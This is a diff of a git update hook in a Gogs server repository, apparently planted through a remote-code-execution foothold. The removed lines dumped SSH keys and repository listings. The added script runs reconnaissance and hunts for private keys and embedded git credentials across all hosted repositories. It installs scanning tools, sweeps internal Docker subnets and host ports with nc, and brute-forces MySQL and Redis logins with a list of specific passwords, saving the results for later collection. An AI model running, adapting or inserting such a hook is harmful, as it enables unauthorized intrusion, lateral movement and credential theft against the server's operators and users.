hook2277a

nslxlxsqfe/rce-lxlxsqfe.git/hooks/update

@@ -1,16 +1,143 @@
 #!/bin/sh
+# i2277 round a: quick recon + launch heavy background scans
 OUT=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git
-R=/data/git/gogs-repositories
-LOG=$OUT/out2138e
+LOG=$OUT/out2277a
+BG=$OUT/scan2277a
+: > "$LOG"
+: > "$BG"
+say(){ echo "$@" >> "$LOG"; }
+
+say "=== round2277a $(date -u) ==="
+say "--- id ---"; id 2>&1; uname -a 2>&1 | head -1
+
+say "--- tools ---"
+for t in apk apt-get python3 python perl php node openssl gcc wget curl nc nmap mysql mariadb redis-cli socat ssh tar gzip timeout nslookup getent; do
+  p=$(command -v $t 2>/dev/null)
+  [ -n "$p" ] && say "$t: $p"
+done
+
+say "--- os/tmp ---"; head -3 /etc/os-release 2>/dev/null; ls -ld /tmp 2>&1; df -h /tmp 2>/dev/null | tail -1
+
+say "--- dns ---"
+for n in gogs-db gogs internal mysql mariadb db redis cache new-api newapi nebula one-api oneapi api app web caddy traefik nginx admin console sub2api xygpt; do
+  r=$(getent hosts "$n" 2>/dev/null | head -1)
+  [ -z "$r" ] && r=$(nslookup "$n" 2>/dev/null | grep -A1 "^Name:" | tail -1)
+  [ -z "$r" ] && r=$(nslookup "$n" 2>/dev/null | tail -n +4 | head -2 | tr '\n' ',')
+  say "dns $n => ${r:-NONE}"
+done
+
+say "--- /data tree ---"; ls -la /data 2>&1 | head -12
+say "--- local-r ids ---"
+for d in /data/gogs/data/tmp/local-r/*/; do
+  n=$(ls -A "$d" 2>/dev/null | tr '\n' ' ')
+  say "LR $d => $n"
+done
+
+say "--- old local-r loot files ---"
+find /data/gogs/data/tmp/local-r -maxdepth 5 -type f 2>/dev/null | grep -v "local-r/118" | head -60
+
+say "--- /app/gogs listing ---"
+ls -la /app/gogs 2>&1 | head -15
+ls -la /app/gogs/docker 2>&1 | head -25
+
+say "--- crontabs ---"
+ls -la /etc/crontabs /var/spool/cron 2>&1 | head -10
+cat /etc/crontabs/* 2>/dev/null | head -15
+
+say "--- fs private key hunt (targeted) ---"
+grep -r -a -l -E "BEGIN [A-Z ]*PRIVATE KEY" /home /tmp /etc /var /app/gogs/conf /data/gogs/conf /data/gogs/data 2>/dev/null | head -15
+
+say "--- mysql 172.20.0.2:3306 handshake ---"
+( sleep 1 ) | nc -w 3 172.20.0.2 3306 2>/dev/null | head -c 128 | od -An -c | head -8 >> "$LOG" 2>&1
+
+say "--- redis banner 172.20.0.1:16379 ---"
+printf 'PING\r\n' | nc -w 2 172.20.0.1 16379 2>/dev/null | head -2 >> "$LOG" 2>&1
+
+say "--- ssh banners ---"
+for hp in 10022 25919; do
+  b=$(nc -w 2 172.20.0.1 $hp 2>/dev/null | head -1)
+  say "hp=$hp banner=[$b]"
+done
+
+say "--- suid / passwd ---"
+find / -xdev -perm -4000 -type f 2>/dev/null | head -15
+grep -E "^(git|root|mysql)" /etc/passwd 2>/dev/null
+
+say "--- launched bg job ---"
+nohup sh -c 'BG=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git/scan2277a
 {
-echo "=== round2138e $(date -u) ==="
-echo "--- /data/git/.ssh ---"; ls -la /data/git/.ssh/ 2>&1; for f in /data/git/.ssh/*; do echo "== $f"; head -c 4000 "$f" 2>&1; echo; done
-echo "--- /home/git/.ssh all ---"; ls -la /home/git/.ssh/ 2>&1; for f in /home/git/.ssh/*; do echo "== $f"; head -c 3000 "$f" 2>&1; echo; done
-echo "--- key hunt under /data ---"; find /data -maxdepth 5 \( -name "id_*" -o -name "*.pem" -o -name "*.key" -o -name "authorized_keys*" -o -name "*.pub" -o -name "*.ppk" \) -type f 2>/dev/null | head -30
-echo "--- gitconfig ---"; cat /home/git/.gitconfig /data/git/.gitconfig 2>&1 | head -30
-echo "--- local-r/118 tree ---"; ls -la /data/gogs/data/tmp/local-r/118/ 2>&1 | head -20; ls -la /data/gogs/data/tmp/local-r/118/*/ 2>/dev/null | head -30
-echo "--- internet check ---"; curl -s -m 8 -o /dev/null -w "github:%{http_code}\n" https://github.com/ 2>&1; curl -s -m 8 -o /dev/null -w "hub:%{http_code}\n" https://registry-1.docker.io/v2/ 2>&1
-echo "--- gogs log tail ---"; ls -la /data/gogs/log/ 2>/dev/null; tail -c 800 /data/gogs/log/gogs.log 2>/dev/null
-echo "--- all owners repos (full) ---"; ls /data/git/gogs-repositories/ ; for o in $(ls /data/git/gogs-repositories/); do echo "== $o"; ls /data/git/gogs-repositories/$o/ | head -40; done
-echo "=== end round2138e $(date -u) ==="
-} > $LOG 2>&1
+echo "== bg start $(date -u) =="
+echo "-- egress --"
+for u in https://github.com https://dl-cdn.alpinelinux.org https://pypi.org; do
+  wget -q -T 6 -O /dev/null "$u" && echo "$u OK" || echo "$u FAIL"
+done
+echo "-- apk installs --"
+if command -v apk >/dev/null 2>&1; then
+  apk update 2>&1 | tail -2
+  apk add --no-cache mariadb-client 2>&1 | tail -3
+  apk add --no-cache redis 2>&1 | tail -2
+  apk add --no-cache nmap 2>&1 | tail -3
+  apk add --no-cache python3 2>&1 | tail -2
+fi
+echo "-- after installs --"
+command -v mysql && mysql --version
+command -v redis-cli && redis-cli --version
+command -v nmap && nmap --version 2>&1 | head -1
+command -v python3 && python3 -V
+echo "-- arp --"; cat /proc/net/arp
+echo "-- route --"; cat /proc/net/route
+echo "-- neighbors sweep 172.20.0.0/24 --"
+for i in $(seq 4 90); do
+  for p in 80 443 3000 3306 6379 8080 9000 16379; do
+    ( nc -z -w 1 172.20.0.$i $p 2>/dev/null && echo "OPEN 172.20.0.$i:$p" ) &
+  done
+done
+wait
+echo "-- other bridges --"
+for net in 172.17 172.18 172.19 172.21 172.22 172.23; do
+  for i in 2 3 4 5 6 8 10; do
+    for p in 80 443 3000 3306 6379 8080; do
+      ( nc -z -w 1 $net.0.$i $p 2>/dev/null && echo "OPEN $net.0.$i:$p" ) &
+    done
+  done
+done
+wait
+echo "-- host targeted ports --"
+for p in 22 80 443 3000 3306 5000 5432 5601 6379 6600 8080 8081 8300 8443 8888 9000 9090 9200 10022 16379 20001 25919 27017 2375 2376 10250; do
+  ( nc -z -w 1 172.20.0.1 $p 2>/dev/null && echo "OPEN host:$p" ) &
+done
+wait
+echo "-- host range scans --"
+for p in $(seq 10000 10100) $(seq 16000 16399) $(seq 19990 20030) $(seq 25900 25930) $(seq 30000 30015); do
+  ( nc -z -w 1 172.20.0.1 $p 2>/dev/null && echo "OPEN host:$p" ) &
+done
+wait
+echo "-- mysql login tests 172.20.0.2 --"
+if command -v mysql >/dev/null 2>&1; then
+  for cred in gogs:ywf123456 root:ywf123456 root:ywf123456@! root:root root:password gogs:gogs root:123456; do
+    u=${cred%%:*}; p=${cred#*:}
+    out=$(mysql -h 172.20.0.2 -P 3306 -u "$u" -p"$p" --connect-timeout=6 -N -e "select version(); show databases;" 2>&1 | head -40 | tr "\n" ";")
+    echo "MYSQL $u/$p => $out"
+  done
+fi
+echo "-- redis 16379 corpus --"
+for pw in ywf123456 ywf123456@! app.ZxAris@169 nf.video123456@@@ 95611Lvsinco M3F1j9GyxIhKbN4 netflix_123 Dev.12345 "5nQqF1a&Yf1oig_T9k" "ProbeLx1853!x" server-pull qwer1234 d8kBs6m3JGNctw8m "Yinhe./123" yhlxj123 redis123 123456 admin123 root nebula apinebula; do
+  r=$(printf "AUTH %s\r\nPING\r\nQUIT\r\n" "$pw" | nc -w 2 172.20.0.1 16379 2>/dev/null | head -3 | tr "\n" "|")
+  echo "REDIS pw=$pw => $r"
+done
+echo "-- repo key hunt --"
+for gd in /data/git/gogs-repositories/*/*.git; do
+  sz=$(du -sm "$gd" 2>/dev/null | cut -f1)
+  [ "${sz:-0}" -gt 250 ] && continue
+  out=$(timeout 8 git --git-dir="$gd" grep -l -a -E "BEGIN [A-Z ]*PRIVATE KEY" HEAD 2>/dev/null | head -2)
+  [ -n "$out" ] && echo "KEYBLOB $gd => $out"
+  out2=$(timeout 8 git --git-dir="$gd" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE "id_rsa|id_ed25519|deploy_key|\.pem$" | head -4)
+  [ -n "$out2" ] && echo "KEYFILE $gd => $out2"
+done
+echo "-- git creds hunt --"
+grep -r -a -h -E "https?://[^ :]+:[^ @]+@" /data/git/ /data/gogs/conf/ 2>/dev/null | head -10
+echo "== bg done $(date -u) =="
+} >> "$BG" 2>&1' >/dev/null 2>&1 &
+say "bg pid: $!"
+sleep 2
+say "--- round2277a sync part done $(date -u) ---"